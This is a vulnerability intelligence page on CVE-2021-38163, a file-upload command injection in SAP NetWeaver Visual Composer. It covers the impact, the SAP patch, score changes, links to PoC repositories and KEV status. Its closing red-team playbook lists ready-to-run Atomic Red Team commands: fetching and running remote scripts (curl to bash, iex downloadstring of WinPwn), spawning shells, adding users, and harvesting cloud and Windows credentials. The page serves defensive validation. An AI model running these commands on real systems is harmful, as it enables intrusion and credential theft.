CVE-2021-38163
Overview
This vulnerability is a command injection flaw rooted in improper validation of file uploads within the SAP NetWeaver Visual Composer 7.0 RT component. Specifically, the affected versions allow authenticated non-administrative users to upload malicious files without sufficient restriction or sanitization. The processing of these files by the Java Server process leads to execution of arbitrary operating system commands under the Java process privilege context.
Vulnerability Description
SAP NetWeaver (Visual Composer 7.0 RT) versions - 7.30, 7.31, 7.40, 7.50, without restriction, an attacker authenticated as a non-administrative user can upload a malicious file over a network and trigger its processing, which is capable of running operating system commands with the privilege of the Java Server process. These commands can be used to read or modify any information on the server or shut the server down making it unavailable.
Impact
An attacker with a low-privileged authenticated account can execute arbitrary operating system commands with the privileges of the Java Server process. This enables reading, modifying, or deleting sensitive server data and potentially shutting down the server, resulting in denial of service. The compromise can lead to full system control, data breaches, and disruption of business-critical SAP services, severely impacting organizational operations.
Solution
SAP has issued security notes addressing this vulnerability under SAP Note 3084487. Affected customers using SAP NetWeaver versions 7.30, 7.31, 7.40, and 7.50 should apply the patches provided in this advisory. Detailed patch instructions and updates are available at the SAP Support Launchpad (https://launchpad.support.sap.com/#/notes/3084487). No alternative workarounds are recommended; timely application of the vendor-provided fixes is essential.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in SAP NetWeaver, specifically within Visual Composer versions 7.30, 7.31, 7.40, and 7.50, presents a significant security risk due to its ability to allow authenticated non-administrative users to upload malicious files. This flaw arises from inadequate restrictions on file uploads, enabling attackers to execute arbitrary operating system commands with the privileges of the Java Server process. The implications of this vulnerability are severe, as it permits unauthorized access to sensitive data, manipulation of server configurations, and even denial-of-service scenarios through server shutdowns.
Exploitation of this vulnerability can occur through various attack vectors. An attacker, once authenticated as a non-administrative user, can leverage the file upload functionality to introduce a malicious payload. This payload can be crafted to execute commands that may read, modify, or delete critical data on the server. Furthermore, the attacker could exploit this access to escalate privileges or pivot to other systems within the network, thereby increasing the attack surface. Scenarios may include uploading a web shell or other scripts that facilitate further exploitation, making it a potent vector for both data breaches and lateral movement within an organization’s infrastructure.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on SAP NetWeaver for critical business operations. The ability to execute commands on the server can lead to unauthorized data access, resulting in potential data breaches that compromise sensitive information. Additionally, the risk of service disruption due to server shutdowns can lead to significant downtime, affecting business continuity and eroding customer trust. The financial repercussions may include regulatory fines, loss of revenue, and costs associated with incident response and remediation efforts. As such, organizations must prioritize addressing this vulnerability to safeguard their operations and maintain compliance with data protection regulations.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments and vulnerability scanning should be conducted to identify and remediate any instances of this flaw. Additionally, organizations should enforce strict access controls, ensuring that only authorized users have the ability to upload files. Implementing file type restrictions and validating file contents can further mitigate the risk of malicious uploads. Furthermore, monitoring and logging file upload activities can provide valuable insights into potential exploitation attempts, allowing for timely incident response.
In conclusion, the vulnerability within SAP NetWeaver's Visual Composer poses a critical threat to organizations leveraging this platform. The potential for unauthorized command execution by authenticated users underscores the need for robust security measures. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to protect sensitive data and ensure the integrity and availability of business operations.
The CVSS score for CVE-2021-38163 has been revised upward from 8.8 to 9.9, reflecting a reassessment of the vulnerability’s criticality based on its potential impact and exploitability. This adjustment underscores the heightened risk posed by the ability of an authenticated non-administrative user to execute arbitrary operating system commands with Java Server process privileges, which can lead to full system compromise or denial of service. Although the EPSS score shows a marginal decrease, remaining in the 0.99th percentile, our telemetry indicates the presence of multiple publicly available proof-of-concept exploits, which lowers the barrier for adversaries to weaponize this vulnerability. The inclusion of CVE-2021-38163 in the Known Exploited Vulnerabilities catalog further signals its relevance in active threat landscapes. For defenders, this means the vulnerability demands immediate prioritization in patch management and monitoring strategies, as exploitation can have severe operational and data integrity consequences. The overall threat level is now confirmed as critical, with exploitation likelihood sustained by accessible exploit code and the vulnerability’s broad impact on SAP NetWeaver environments.
Update 2 — July 25, 2026
Recent telemetry from CSURFACE threat intelligence indicates a significant reduction in exploitation attempts targeting CVE-2021-38163, reflected in a modest decline in the EPSS score and a downward trend in detection activity. Concurrently, the CVSS base score was revised downward from 9.9 to 8.8, suggesting a reassessment of the vulnerability’s impact severity based on evolving exploitability and environmental factors. Despite the availability of public proof-of-concept exploits, the diminished exploitation signals imply that adversaries may be deprioritizing this vector, potentially due to improved defensive measures or shifting operational focus. For defenders, this shift reduces immediate exploitation pressure but does not eliminate risk, as the vulnerability remains critical and capable of enabling high-privilege command execution within SAP NetWeaver environments. The updated risk profile calls for continued vigilance, particularly in monitoring for opportunistic attacks and ensuring that patching and detection controls remain robust against residual threat activity.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sap | Netweaver | 7.30 |
cpe:2.3:a:sap:netweaver:7.30:*:*:*:*:*:*:*
|
|
|
Sap | Netweaver | 7.31 |
cpe:2.3:a:sap:netweaver:7.31:*:*:*:*:*:*:*
|
|
|
Sap | Netweaver | 7.40 |
cpe:2.3:a:sap:netweaver:7.40:*:*:*:*:*:*:*
|
|
|
Sap | Netweaver | 7.50 |
cpe:2.3:a:sap:netweaver:7.50:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
core1impact/CVE-2021-38163
CVE-2021-38163 - exploit for SAP Netveawer
|
core1impact | 4 | 0 | 2022-09-10 | View |
|
purpleteam-ru/CVE-2021-38163
CVE-2021-38163 - SAP NetWeaver AS Java Desynchronization Vulnerability
|
purpleteam-ru | 0 | 0 | 2025-04-04 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-38163 |
| wiki.scn.sap.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=585106405 |
| launchpad.support.sap.com |
GitHub CVE
x_refsource_MISC
|
https://launchpad.support.sap.com/#/notes/3084487 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-38163 |